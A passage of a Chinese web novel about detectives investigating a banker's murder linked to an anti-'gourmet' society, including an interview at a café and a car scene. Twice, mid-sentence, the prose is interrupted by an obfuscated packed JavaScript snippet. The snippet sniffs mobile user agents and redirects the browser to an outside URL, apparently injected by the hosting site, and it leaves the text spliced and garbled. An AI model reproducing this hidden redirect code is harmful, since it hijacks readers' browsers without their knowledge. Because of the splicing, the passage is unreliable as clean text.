“影青!不准跑!”朗玉山急得冲到走廊上,“你刚打过药不可以跑的!给我好好走路过去!反正已经迟到没救了!大不了被蒋淮骂得狗血淋头第二天吊死在他办公室让他愧疚一辈子!” 小马:“……”??? 小马:“……吊……死?!太窝囊了吧?!” 真亏你能用这么狠的气势说出这么怂的话。 听了朗院长的“忠告”,公冶反而冷静了下来。GS到隔壁的市局只隔一条马路,两栋建筑之间搭了坚固的联络桥,来往节省不少时间,公冶从联络桥直接横穿到市局,再坐电梯下至一楼找到刑事侦查部门。 门关着,底下有光漏出。 刚握住门把,就听里面吼出一声:“让出现场的公美赶紧滚过来!!” 公冶:“…………” 一段死亡的沉寂过后,某个年轻刑警做好了被上司的怒火轰炸的准备,英勇地站出来,轻声细语打破惨烈的气氛:“蒋队您消消气,可能GS也堆了案子抽不开身,我这就去找他们……” 公冶视死如归闭上眼,再睁开,深呼吸一口气,转开了门把手。办公室里众人纷纷条件反射回头,公冶迎着无数道诧异、惊恐、绝望的目光走进来,也走进了蒋淮电闪雷鸣阴沉至极的视野范围内。 “不好意思我来晚了,有点事耽搁了……” 从业多年,公冶渡莲从来没有如此卑微谨慎过。他老实巴交低着头,在无限延长的死寂里默默走到唯一空着的一把椅子那,默默坐下翻开本子,默默低垂眼帘尽可能削弱自己的存在感,企图逃脱蒋淮可怕的眼神制裁。 满坐寂然,无敢哗者。 “你今天去现场的?” 蒋淮冷声问道。 “不是,是二组的暮火,他有急事请假了,我代替他来。” 公冶有问有答,绝不废话。 “你刚才去哪了?” “我……组里有点忙。” “组里有点忙?” “……嗯。” 又是一阵焦灼人心的沉默,蒋淮漠然环视众人,不顾庄鹭眼神的恳求,居高临下开口了:“我明白,如今正逢双紫星开幕筹备需要投入警力安保,公美被频频外借事务繁琐,有时候确实比我们还忙,但是,总有剩下来的吧?祁耀集团最多借走三个组,剩下四个组总在的吧?” 公冶无言以对,他们组因为人少,并未被借走,极乐和刺舟都在,包括他这个组长,根本没有蒋淮说得那么忙。 “我也告诫在座的各位,眼下是出了桩命案,凶手至今逍遥法外,太忙忘记了,有事耽搁了,统统不能够作为你们怠慢本职工作的借口。你不愿上心,不想来开会,可以,把警证和枪交了,回家睡你的大觉去,但只要你还是名警察,还是特殊发动科的一名公安美食家,还具备一颗对自己对死者负责的责任心,就该自觉摆正工作态度,不要让我来提醒。如果你无所谓这些,不想干了,立马收拾包袱给老子滚蛋,老子不会留你,熊指挥官同样不会,刑侦支队和特发科不需要一个吃粮不管事整天只知道混日子的懒胚,更不需要这种人占着‘一组之首’的位子浪费资源。” “听懂了吗?” 没有一句带着尖酸刻薄,但劈头盖脸一顿“警告”下来,脸嫩的几个早就吓得魂不附体了。 这段话表面上是在训诫大家,实则只指向了一个人—— 公冶面色或多或少有点狼狈。 大家委实没想到,队长竟然当真不给影青留半分,哪怕一丝丝情面。他好歹是一级特发警,功绩累累,这样的能人,便是赵平功也不会在大庭广众下令他出丑难堪,而蒋淮真就当着不少后辈和实习生的面狠狠训斥了他。 这是不想让他在局里混了啊。 所有人煎熬地埋着头,心态濒临爆炸。公冶心知蒋淮在等他回应,确实是他散漫过头犯了错,他没有任何怨言,轻微点了点头。 得到他的低头认错,蒋淮收起了火气,像瞧见一包垃圾甩开了视线,示意贺开宇:“继续。” “哎!”贺开宇心跳悬到嗓子眼,就算听不懂也要装作听懂了,抖着个手指点开视频,明知头儿不是在骂自己,他仍然心有余悸,艰难地吞咽了一口。 以前有“慈母”著称的沈鸣坐镇,和蒋淮红白对唱,恩威并济,大家伙都甚少经历此等火药味浓的大场面,庄鹭调来时日不久,不适合一上来就和蒋淮唱反调,虽然她也在蒋淮问责时给影青打了圆场,可惜收效甚微。 坐在公冶旁边的男同事悄悄递去心疼的一眼,摇了摇头:“不容易啊……” 挨骂是必不可少的,早前工作他也挨过不少骂,家常便饭了,这次也做了心理准备,但把他骂成这样的,蒋淮是第一个。 白板上贴着被害人裴远航的照片,公冶掀起眼帘,注视着这张脸,心里说了声对不起。 新桥支行2号的监控显示裴远航一天下来只接触了五个人,他在单位的人缘和业绩都中规中矩,基金卖得还行,保险指标却是吊车尾,同事们对他印象好也是为着他这人没城府不抢业绩,有一次还把大单让给了垫底的新人。 遇到这种事,受益者本该怀以感恩的态度,可事实并非如此,一个热心的女同事透露给警方,裴远航疑似被职场霸凌,其他理财经理和财富厅主任经常背地里埋汰他不求上进吃闲饭,本人还碰巧听见过几次,更有过分的会光明正大挖他墙角,而裴远航遭受着职场上的不公平待遇,很多事情并未去捅破。 他就是这样一个人,好不容易请出年假就更没心思上班了。 2号接触的五个人里有四个是他的老客户,做了正常接待,另外一个是临近傍晚最后接触的,蒋淮和公冶第一时间认出了她—— 一个背着单肩帆布包的女孩出现在监控里,脸正好对着镜头,和裴远航聊了几句,去了里面的理财经理办公室,过了十分钟便出来了。 看清楚她的脸,蒋淮回头和公冶确认。 “是她?” “是。” 庄鹭转着笔,打量这一老一少:“你俩打什么哑谜?” “她是去年苏赞标记事件受害者,叫邓烟雨,我负责她的夜间保护。” “原来是熟人,”庄鹭恍然大悟,椅子一滑来到公冶身边,“就是那个在你家住了一个月的女孩?” 公冶大气不敢出,庄鹭头一抬,对上蒋淮冷死人不偿命的利眼。 “干嘛,八卦一下不可以?你看看你,开个小会而已,非把气氛搞砸了,我们八宝多乖啊。” 蒋淮无视了庄鹭,对公冶说:“你来联系,”想了想又烦着脸吩咐,“阿鹭你和影青一块。” “好嘞。” 会议结束,大伙各自散了。公冶之前注射了药剂,又开了一晚上的会,此刻疲惫不堪,感觉自己下一秒就会晕倒。他去了走廊尽头吹风缓解不适感,贺开宇站在窗前抽烟,见着他,潇洒地抬了抬香烟:“陪一根?” 公冶摆手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579323|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“不抽。” “你脸色好差,”贺开宇关心道,“没事吧?” “没事。” “蒋队也真是的,骂你跟骂儿子一样。” “谢谢你的安慰,我现在心更痛了。” “哈哈哈骚瑞骚瑞,我用词不当。” 公冶靠着墙,随意浏览着手机里的信息,无缘无故把邓烟雨的手机号码翻了出来,拇指悬在拨通键上。 “你师父最近好吗?” “装了义肢,调去享清闲的科室了,”贺开宇和他一起靠墙小憩,对着月色吐出烟雾,左眼尾的疤痕像一枚飞扬的柳叶,“蒋队要留他,赵局也来劝他,他不肯,执意要走,说手臂断了太疼了,不想再经历第二次。” 公冶的手指抚在邓烟雨的名字上,眸色暗了。 “我希望他能做自己喜欢的事。” 贺开宇轻笑着说,他夹烟的样子有点迷人,指间火光昏红,忽明忽黯,像朵摇曳在风中溅开生命的小橘花。 “影青,你别太在意蒋队的话,他出发点是好的,就那脾气差了些,你要真觉得没意思,走就走呗,人不能一辈子打工。” 公冶顺着他的话头问:“人还能干什么?” “谈恋爱。” “有女朋友了吗?” “没有,打算存够了钱,就去买辆敞篷小跑。” “你的爱人是车啊。” “当然啊,男人就该有辆好车,我上次见了你的scoupe眼馋死了,这车大街上哪能遇得着,有空让我开出去炫耀一下行不?” “行,”公冶说,“我低价卖你吧。” 贺开宇探他额头:“你发烧了?” “我不太会保养,开它浪费了,它应该属于你这种爱车人士。” “得了吧,我哪里是爱车人士,”贺开宇指指自己的心,“虚荣着呢,满地爬的年纪啥玩具也不要,得着钱就抓,一次翻出了我爸皮鞋里的私房钱也不交给我妈,转头塞在喝完的奶瓶里,我从小就掉钱眼里了。” “那你怎么当警察了,毕业以后去创业,现在高低是个贺总,”公冶的目光别有深意,“话说那奶瓶你后来还用吗?” 该问题过于尖锐了,贺开宇陷入了沉思:“是哦,那奶瓶……卧槽,我得回去问问我妈。影青你笑啥,不许笑了!” 贺开宇气呼呼地吸了口烟:“我哪有资本创业,如今这个社会,你可以不投入精力不投入时间,但绝对没有不投入钱就能赚钱的买卖。” 这话太让人悲从中来了,公冶说:“好像做什么都会很累。” “是啊,做什么都会很累,快乐是需要自己努力去拆去找的盲盒。” “送你一句话。” “什么?” “我也希望你能做自己喜欢的事。” 贺开宇漆黑的眼里似有流星划过,脸上灿烂地笑了:“承你吉言,”他捻灭烟头,拍拍公冶的肩,“方才忘记和你说,你电话不小心拨通了。” 公冶呆滞了一下,看向手机,本该熄灭的屏幕亮着,邓烟雨已接通,通话进行了一分多钟。 “……” “……?!” “贺——!” 贺开宇溜得贼快,不给公冶一秒钟迁怒的机会,逃出十米远后扭头扮了个鬼脸,快快乐乐地下班了。 公冶看看逃得没影的贺开宇,再看看手机,手足无措地静立片晌,把手机举到耳边,对面没声音,他鼓足勇气叫了声:“小雨。” “嗯,”邓烟雨柔软的嗓音在那端响起,“你是不小心拨过来了吗?” “是的……”公冶顺着墙壁蹲了下去,揪着自己头发,脸红得不行,“抱歉那么晚打扰你,其实……” “其实?” “你什么时候有空,有个案子需要当面和你了解一些情况。” 邓烟雨按了密码锁,她刚到公寓:“是东宝银行的案子吗?” “我不方便在电话里告知,你挑个时间,我们见面详谈吧。” 班级群不久前发来通知,明天下午有一节课取消了,邓烟雨说:“明天下午两点吧,地点可以在我学校附近吗?” 公冶垂眸回想:“春水镇咖啡馆可以吗?” “行的,那里挺方便。” “那明天见。” “……好,明天见。” 公冶挂断电话后立刻给庄鹭打去:“明天我们跑一趟满月区。” “呀,那么快?小八你真是,急不可耐啊。” “注意用词,什么叫急不可耐。” 天色非常晚了,迟来的大雾吞没了高楼巨影。公冶走出市局,站在宽阔的长阶上,轻寒的空气扑面而来,这个季节的温度比秋天更刃些。 次日他们开车前往满月区,庄鹭坐在副驾驶唰唰翻资料。上午梁大谷在一家酒店被捕了,这货是看守所住腻了想尝尝牢饭的味道,一看亲如爹妈的条子来接他了,忙不迭伸手要铐。 “他承认抛尸,其余一概不认,扔东行门口可以拿钱就巴巴地跑去扔了,问交易的人是谁,说天太黑没注意看,到手的现金藏在哪,他说早料到会被我们抓就连夜上坟一把火烧给他爷了,口供颠三倒四前后一句都对不上还在讯问室里闹自杀,你说这王八蛋欠不欠揍?” 这路段红绿灯多,旁边的男人淡淡敲着方向盘:“他这样耍弄我们大概很愉快。” “我们有必要在梁大谷身上下功夫吗?” 公冶望着前方的路,只说:“查查他人际关系吧,近期在哪个场子混。” “这点开宇他们查去了……还有,裴远航的客户醒了,就那个老人,开宇问得挺详细,可惜没什么收获,不过老爷爷因为裴远航的死当场落泪了,”庄鹭昨夜没睡好,摇下了车窗,“应该是建立了很深厚的交情吧,这种白发人送黑发人的心情我也很懂啊。” “庄姐,你还没到那个年纪。” “哈哈哈,也快了。” 前面车速度太慢,公冶打灯超车,冷不丁来了句:“你在想什么?” 庄鹭扭过脸来,不解地眨眨眼。 “话都到这个份上了,是有头绪了吧。” “哇,小八你啊……”庄鹭惊叹他的侦察能力,说,“我是在想,案子可能不该在梁大谷这下手。” “还有其他切入口?” “我昨天逛了一宿裴远航的推特,”庄鹭用笔戳了戳纸面,“虽然人人都夸他温和有礼与人为善,但这家伙一上网立马原形毕露,他在网上活跃得像只目无王法的窜天猴,天天放飞自我。” 公冶发表不出更多的感想,前方是红灯,他缓缓踩住刹车:“你继续说。” “除了推特,我在微博上发现裴远航关注了一个超话,这里面的人也经常在其他社交网站上和他互动,”庄鹭拔掉平板的充电线,食指滑动得飞快,展示给公冶看,“超话叫WPO反暴公会,你应该知道。” 71. WPO “WPO反暴公会?” 公冶倾身看向平板,超话累计发帖才1.1万,往下翻,一篇附着紫花国旗图片的滔滔大论映入眼帘。 “这是学术社团吗,我不知道。” “啊你不知道?” 他像不会做数学题一样摇了摇头。 “我以为你会知道,因为和美食家有关,”面对公冶眼中的疑问,庄鹭思虑不久便说,“WPO全称WorldPeacanization,是除政府机构以外的古洛公民自愿成立的非营利性民办组织,2034年抵美协会成立的当年WPO便跟着成立了,但过了一年就面临解体,原因是抵美协会成员对WPO成员多次施暴,甚至闹出了人命。” 右侧一辆车通过,公冶眼睫微动,下意识握紧了方向盘。 “WPO组织宗旨就体现在名字上,是反对人类与美食家发动纷争,倡导文明和谐地交流谈判,维护‘人’‘美’两方的权利与安全,促进种族统一的一个和平组织。组内成员遵循众生平等的理念,公然谴责过抵美协会不分青红皂白对美食家施以暴行,主张以沟通的方式化解内斗,他们的迅速扩大威胁到抵美协会的地位,于是遭到了所谓的合法坑杀。” 公冶表情变了:“合法坑杀?” “你别怪我说话难听,美食家具备破坏生态的食人特性,往大了说就是全人类的天敌,WPO发表的批判言论里确实有为美食家说情的成分,站在抵美协会的角度,他们等同帮凶,所以这场坑杀完全合理,‘合理即合法’是抵美成员施暴前会喊的口号,好多小年轻曾拿这句话当自己的座右铭。” 绿灯亮了,公冶向前开出,旁边移动的巴士像张巨大的铁网压过来,待周围车辆少些,他平静出声:“我有印象。” 庄鹭深深一叹:“坑杀事件的内情国内不能公布,但在外网传开了,有外媒报道过,抵美协会曾在关海区沿海一带活埋了32名WPO成员,没有一个行凶者依法受捕,据说凶手都很年轻,其中有官僚政客的子女。” “WPO应该是保持着中立的立场,为何要被赶尽杀绝?” “唉,抵美协会这帮人……他们习惯了跳出道德标准的框架来看待问题,被花蚊子叮咬一口都忌惮它的毒素是否致死,对他们而言,中立和不作为是一个道理,一味宽待美食家只会养虎为患,立场这种形同虚设的东西,那全是做给心里没底的人看的,真实的想法只有自己最清楚。说来也奇怪,抵美协会和WPO创立的初衷都是希望国家发展得更好,社会更安定,他们明明是一路人,为何最后会把枪口对准自己的同胞闹得不共戴天?” 这条路栽满法国梧桐,三月天冷,它们尚未长出新叶。身旁太静,庄鹭不忍说道:“小八,我绝对没有歧视美食家的意思,你千万别多想。” 公冶报以轻柔的微笑:“我没往那层想,只是有点伤感罢了。” 许多事太沉重了,放上来讲,实在没办法周全所有人,庄鹭也讨厌往大方向上讨论,可裴远航的案子偏偏和这一点勾搭上了。 她接着说道:“WPO解体后,剩余成员养好伤打算重振旗鼓,于是再次成立了一个秘密小团体,便是现在的‘反对残暴行动’的反暴公会。” “他们在网络上公开了自己,不怕再被抵美协会打压攻击吗?” “我想他们不怕。” “公会里的都是普通人?” “对,都是普通人,一共百来号人,他们自称WPO后裔,认为美食家是当年南陆人体实验荼毒的受难者,不该一棍子打死,希望为受害的同胞讨回一个公道,而裴远航加入反暴公会已十年有余。” 又一个红灯,公冶一脚踩停,语气难掩意外:“这么久了?” “你看,”庄鹭找到2月20号的帖子,一个叫也称鹤望兰的账号发了张庆生照,“这是反暴公会的核心成员在给副会长裴远航庆生。” 照片里七八个人聚在一块,裴远航肩上挂着彩条亮片坐中间,他大概是加完班就急匆匆赶去赴宴,虽然把行服外套脱了,但发皱的淡蓝衬衫和松垮的领带仍然显得他风尘仆仆,公冶从他脸上找不出丝毫疲惫,他捧着蛋糕,笑容灿烂,生日帽也戴歪了。 这是他第一次见到真正的裴远航,一个幸福快乐的裴远航,这个意气风发的青年在照片里永远地定格住了。 “我怀疑裴远航的死因不简单,他在推特上的言辞太激进了,如果凶手的犯罪动机是因为他反暴公会副会长的身份,那么——” “那么凶手就和抵美协会脱不了关系,或者就是协会内部成员。” 和他异常冷静的眼眸对视须臾,庄鹭慎重地点了点头。 接下去的路,两人几乎一言不发。他们心知肚明,抵美协会相当于一个搬到了台面上的影子政府,里面成员鱼龙混杂,真到动手的那一步,摆在公安面前的选择也不会太多——总要有人给这口屎盆子镶层金边。 层级越高的人出事反而不怎么麻烦,掩盖比查清更容易做到公私两便。 “我猜蒋队心里也有数,”庄鹭说,“倘若真查出什么黑的乱的,裴远航的冤屈也无需再洗,东行碎尸案会成为一桩悬案永远封存。” “就像当初处理国厦案那样吗?” 庄鹭苦笑了一下:“八宝,可不要意气用事啊。” “不会的……到了。” 春水镇的英文招牌由远及近,公冶开上坡,顺利找到了停车位。 他们交谈着向咖啡馆大门迈去,刚踏上一层台阶,玻璃门朝外推开,一个小男孩冲出来撞在公冶身上,手中奶茶没盖好,泼湿了他的裤子。 闯祸了,孩子吓得小脸煞白,丢掉奶茶就向外逃跑,被身后一道严厉森寒的女声叫住:“古临宣,站住。” 伴随着高跟鞋的声响,一个女人迎面走来,颈处系着深色丝巾。她伸手一把揪起儿子软嫩的耳朵,提回到公冶面前。正在拍裤子的公冶着实没反应过来,见小孩的耳根扯得半透发红了,惊道:“别……这是干什么!” “道歉,”女人不理会公冶,对孩子冷冷说,“别让我重复。” 孩子疼得抽气,说不出话,哭红的眼睛泪汪汪看着公冶:“对……对……” 女人面若冰霜,指甲嵌进去,用力拧开了他的耳朵。 “住手!孩子耳朵撕裂了!”庄鹭差点上手,却被她强大的气场震到了,公冶说:“我没事,女士请您放手!” “对不起……”孩子总算忍着疼痛说出了口,女人随即放手。 公冶和庄鹭急忙蹲下来查看他的耳朵,耳根和颈侧连接的地方撕开了几毫米豁口,血丝透了出来。 小孩不想让他们看,牢牢捂住自己受伤的耳朵,退后几步,缩着头躲到妈妈身后,念咒似的说:“我不痛,我没受伤,我不痛……” 女人从始至终没有看公冶和庄鹭一眼,也不管儿子,径自朝马路对面停着的一辆橄榄绿SUV走去,小孩立即追上,手依然捂着流血的耳朵。 “我的天啊,我没看错吧,这是当妈的人?”庄鹭人都傻了,指了指那女人干练的背影,“哎,怕是医院也不会带孩子去看吧?” 一个戴墨镜的男人推门跨出来,从他们当中穿过,公冶瞥了眼他胸前挂的相机,和庄鹭说:“当着人也不知道收敛点,刚刚不该放她走的。” “主要我们也‘没带皮肤’,气势上输了,”庄鹭上下打量他,“话说你今天怎么穿得像个阳光开朗大男孩?” 听了这话,公冶瞅了瞅自己身上的衣服,是读大学时买的。而庄鹭,因为早上起晚了,瞎着眼随便抓了一套黑白搭,简直像个…… “你像个卖保险的。” “找打是不是?”此刻手边要有个鸡毛掸子,庄鹭分分钟给它抄起来,她叹着气拉开玻璃门,“但我觉得,即使面对两个警察,她也敢下得去手。” 公冶不置可否,沉默着跟进去。适才孩子被拧着耳朵流泪的样子,让他一瞬间想起了当年的自己。 五分钟后,邓烟雨准时出现在咖啡馆,她望了一圈,费了点工夫才找到公冶他们,不是他们坐得偏僻,而是两个人都穿着便服,一时不太好认。 今日午后没出太阳,难免有些凉意,他在衬衫外面套了米白的薄毛衣,整个人一下子温暖明亮许多,这不是他平日的风格,但出乎意料的合适。 庄鹭先注意到走近的邓烟雨,迎着她的目光站起,发觉身旁的人还低头刷着手机纹丝未动,使劲拍了下,把他也拎起来。 简单做了自我介绍,亮了证,警方直奔主题,问的果然是东行碎尸案,不过邓烟雨还是奇怪,她完全不明白警察找自己调查的原因。 “3月2号下午你在东宝银行新桥支行接触过被害人,可有印象?” “我去了新桥支行……?” 邓烟雨步行来的,有点渴,叫了杯喝的。她和庄鹭面对面坐着,一举一动都在对方的注视下,快速整理了庄鹭的话,她皱着眉,看样子是没头绪。 她内心想法都写在脸上,公冶看出来了,象征性引导着说:“2号那天,下午四点半左右,你是为了办什么事而去的银行?不着急,慢慢想。” 邓烟雨卡壳一样呆了呆,眼睛顿亮:“噢,我是去做理财风险评估,”她端正了姿态,“我以前办过东宝银行的储蓄卡,理财功能没开通,最近要用了发现首次购买理财必须要去网点签约理财服务做一次评估,我当时也是随便导航了一个最近的地方,所以没记那个网点的名字……” 庄鹭问她是否还记得办业务的详细经过,邓烟雨从头回忆:“我进去就看见裴经理和大堂经理聊天,便找他问了,他带我去了办公室,但我没办成。” “为什么?” “他说我不能办,”邓烟雨泄气似的耸肩,“拿着我的身份证,在电脑上查了半天,说我的卡不是他们网点开的,又扯了一大堆‘你信息不在系统上’等等我听不懂的借口,要了我的联系方式说后续再通知……但我看他那样就知道是不想给我办,也不可能再通知我。” 庄鹭听出邓烟雨话里行间的情绪,与公冶交换眼神,问了一句:“你和裴远航有过节?” 邓烟雨愣住了:“没有,我和他不认识,那是第一次见面。” 庄鹭轻轻点头,像是无所谓她的辩解,更像是自主地认定了某些猜测,这轻飘飘的一击让邓烟雨不知所措。 为什么要这样问? 邓烟雨略显无助地看向公冶,这个男人居然一脸认真在记什么,他进入工作状态后真是冷酷得六亲不认。 被警察用怀疑的眼神盯着问东问西的感觉真的非常不好,别说其中一个是自己喜欢的人,再喜欢又怎样,被当作嫌疑人对待肯定会不舒服。 然而该配合还是要配合。拿铁上来了,邓烟雨捧着它喝了一口,等服务员走远,她组织好语言说:“我承认我有点讨厌裴经理,可裴经理也有问题,他不肯给我办业务。” 庄鹭挑眉:“这话怎么说?” “他嫌我的卡开在了别处,就算我开通理财,往卡里存再多的钱,都和裴经理没关系,因为我的卡没有挂在他名下,除非我每次买产品填他的营销号。” 公冶问:“他态度非常差?” 邓烟雨点点头:“特别差,而且他看我是大学生,以为没几个钱,就更不想给自己找麻烦了,我听说第一次线下评估后如果客户的卡出问题,或是有洗钱的嫌疑,他们自己也要承担风险的。” 奖励的时候分人分事,出差错了可能整个部门都得跟着连坐,这种现象不止发生在银行,员工需要保护好自己,看人下菜碟是常态了。 庄鹭对此有经验,发自内心地觉得小姑娘不容易:“你也可以让裴经理申请把你的卡转过来。”公冶对旁边轻声说:“东行转营销挺麻烦,裴远航那摆烂的性子,不情愿也属正常。”庄鹭啊了一声:“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579324|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样……” 邓烟雨若有所思,双臂交叠放在桌上:“可以换客户经理?” 庄鹭:“可以换,他们若是敷衍你,直接打投诉电话,银行吃了投诉就有效率了。” 这绝非常规操作,算投机取巧了,庄警官的建议显然是在带坏小白花一朵的邓烟雨,公冶看破不说破,他不觉得小雨会干这种缺德事。 贺开宇给庄鹭打来电话,公冶让她接,自己问了邓烟雨几个问题,先前在车上庄鹭特意嘱咐他,要问3月2号晚上的行踪。 虽然是必走的流程,可公冶不想让邓烟雨觉得自己在盘问她,磨蹭到庄鹭电话挂断都没问出口:“有听到裴远航聊起过美食家吗?” “美食家啊,”邓烟雨随口一带,“我听见他和大堂经理在聊抵美协会,这个算吗?” 庄鹭刚放下手机,捏起面前快冷掉的咖啡,闻言,她眼睛睁大了。 没承想有意外收获。 对面两个人的沉默让邓烟雨不由得紧张起来:“怎么了?” 庄鹭盯着她:“他们当时说了什么,有出现人名吗?只言片语都可以。” “就在吐槽‘抵美协会成天嚷着合理合理,他们怎么不去住河里,还说我是犯法的存在’……啊,这些话是裴经理自己说的,我只负责重复。” 公冶:“你记得很清楚。” “是啊,”邓烟雨神采奕奕,“因为那个大堂经理说了一句我一辈子也忘不了的话,所以他们的对话我记到现在。” 公冶和庄鹭以为是何等重要的关键信息,双双挺直了背:“什么话?” “她和裴经理说,你先别管你犯不犯法了,你该想想你业绩为啥垫底,裴经理问为啥,大堂经理说因为你姓裴,和赔钱的赔是一个读音,客户怕找你理财会赔光,你这个姓放小说里是男主,来了银行就是风水不好。” “……” “……” 咖啡馆播放着优雅温情的爵士乐,唯独他们这桌降至冰点,这次的沉默比之前更久。 邓烟雨意识到这段话毫无意义,不好意思地挠了挠头,公冶则埋下了头,貌似是忍不住了,抬起手背稍微挡了挡唇角。 庄鹭捅了他一肘,无奈地用口型说:严肃点。 “最后一个问题,”知道他问不出来,庄鹭决定自己做这个坏人了,“2号晚上你在哪里?” 邓烟雨迟疑地问道:“这是要确认我的不在场证明吗?” 庄鹭并不正面回答,淡笑着说:“例行公事,请理解一下。” “噢……”邓烟雨说,“我在我自己公寓。” “有人能证明吗?” 邓烟雨靠着沙发,摇了摇头:“我一个人。” 庄鹭还想往下问,公冶及时止损般插了句:“够了,就这样吧。” 庄鹭瞟向公冶,游刃有余的眼神里仿佛带有微妙的笑意,公冶回了一眼,像是在暗示她点到为止。 “不好意思打扰你这么久,问题都问完了,非常感谢你的配合,”庄鹭恭敬地递出名片,“这是我的联系方式,如果有想起什么,请随时联系我。” 邓烟雨松了口气,接过名片,拿上包正要走,包里的手机频频作闪,她掏出来一看,庆威凤和蔡蔡打来好多通电话,也发了不少消息—— 【烟雨你在哪,上课了!】 【班长搞错了,下午第二节课要上的!你快回来!】 【上帝,你在哪里啊,看到消息回复一下,灭绝师太点名了!】 邓烟雨:“……” 邓烟雨:“……啥……子?” 她呆若木鸡立在过道上,连绿框里的字都快不认识了,公冶来到她身边,察觉出她情绪不对:“怎么了?” 邓烟雨抬头,眼里全是惊恐:“额……我……我没事……” 她故作镇定地回复着,可突然变化的脸色让公冶认为不是小事。 庄鹭去结账了,邓烟雨见状也要跟去:“啊,我的咖啡我自己……”公冶摆手:“没事,我们来付。” 她魂不守舍地哦了一声,看了眼时间,准备离开,公冶没拦她,只是再次问道:“到底出什么事了?” 邓烟雨脚步一顿,抓紧帆布包的肩带,扭过头:“我上课迟到了,原本这节课取消了,今天又说要上的,我前面没注意群里的消息。” 公冶不假思索道:“我们开车了,一会送你,来得及吗?” “已经上课二十分钟了……”邓烟雨欲言又止,烦闷地说,“算了,我自己会和老师说明的,不要紧。” “怎么啦?”庄鹭活像来接孩子的家长,满脸好奇地回来了,公冶用一句话概括了邓烟雨的事,庄鹭说,“哎哟,那小八你开车送送吧,顺便和老师解释一下情况,要是误会成缺课那可就糟糕了。” “你呢?” “我找开宇汇合,他从博山那边开回来,快到了,”庄鹭提了嘴,“裴远航那晚没去博山图书馆。” 公冶神色沉郁,转念一想:“她学校是歌财大,我不能进的。” 歌财大是市内最排斥美食家的一所大学,原因不明,学校不仅不接收美食家身份的学生,一般无特殊情况,连公美也不让进。 不等庄鹭开口,邓烟雨说:“今年可以了,学校一个月前发过通知,说公美可以进校园,但要出示警证、穿警服。” 毕竟是在校园里活动,不穿警服怕吓着单纯可爱的大学生们。 “这个简单,”庄鹭说,“咱车子后座有套警服,开宇之前落下的,你和开宇身量差不多,大致套套没问题……我先走了,他催我了。” 庄鹭临走前终于拿起冷掉的咖啡喝了一口,润了润喉。 公冶目送了她,随后对邓烟雨说:“走吧,再不走就下课了。” 消极的情绪靠他一句轻描淡写的调侃就化解了一半,邓烟雨腹诽他这时候还开得起玩笑,见人快走远了,立刻跟了上去。 72. 台阶 他们一前一后跨出咖啡馆,找到停车的地方,车子是跟队里借的一台老款帕萨特,公冶按下解锁键打开后车门坐了进去。 后座没堆杂物,有套警服,连警帽也甩在那儿,大概是之前出任务,贺开宇临时换装脱这了。 衣服丢得乱七八糟,公冶刚翻出底下的外套,砰一声,车门关上了,邓烟雨坐到了他旁边。 后座空间不大,两个人大眼瞪小眼。邓烟雨被他直白的眼神盯得心跳加快,挪了挪屁股:“你干嘛这样看我,我不能进来吗?” 公冶抓着外套,移开视线,眨了眨眼睛:“不是。”说着,就轻轻将毛衣拽过头顶,当着她的面脱掉了。 邓烟雨呆了一刻,旋即扭过头,整张脸涨得通红。 紧张什么,又不是没看过…… 她一边自圆其说一边胡思乱想,脑海里浮现出那一晚,他洗完澡,只在肩上搭了条白毛巾,心不在焉擦着半湿的头发走出浴室。 邓烟雨懊悔地合上眼。 早知道坐前面副驾驶了,这样搞得好像……好像她要看他换衣服一样! “我、我看你车门开着,以为你邀请我进来……啊不是!”怎么把心里话说出来了,邓烟雨一着急口不择言,想解释却越描越黑,加上那个男人跟哑了似的没接她话茬,把本就暧昧的气氛拉至极点。 她羞愧难当,只想逃离这方狭窄的空间,手忙脚乱拉起门把手:“我出去。” 打开车门的刹那,后方伸来一条手臂,制止了她。他出于本能按住她慌张的手。邓烟雨感觉自己的后背贴到了他的胸膛,眼前一黑。 “我在换衣服,你别开门。” “我只是怕你误会!”他声息近在咫尺,邓烟雨脸红得像吃了三斤辣椒,另一只手捂住眼,“你不要光着靠向我!” “你看清楚我哪里光着了。” 她放下手,缩着肩膀半信半疑地转头,公冶规规矩矩穿着衬衫,一颗扣子也没解开。 但彼此的距离太近了,他身上隐约飘出好闻的香气,和平时不同,这味道格外清甜。 邓烟雨仔细闻了一下。 带着茉莉花香,难道他最近奶茶喝多了,身体在排毒?美食家不是不能喝奶吗…… 公冶低声说:“先别开门。” 邓烟雨颤着睫毛:“我知道了……” 他换好衣服,开门出去,坐进驾驶座发动汽车。车子驶上马路,太阳也跑出来了,邓烟雨按下车窗,让风进来。 庆威凤告诉她,老师刻意提醒了这节课会点名,言下之意是叫旷课的学生抓紧点来上课,别自作聪明。 邓烟雨回了一个大公鸡飞奔而来的表情包,轻叹一声。她脸还红着,风也吹不走那份热气,听见前面也有降车窗的声响,她的视线越过两座中间的茶杯钥匙数据线等零零散散的东西,投向他。 广播在讲老掉牙的笑话,他单手扶着方向盘,切换了音乐电台,歌曲欢快的旋律和窗外忙碌的车流穿梭声交织着。明明车内车外都很吵,他们却在这片喧嚣中获得了某种意义上的平静。 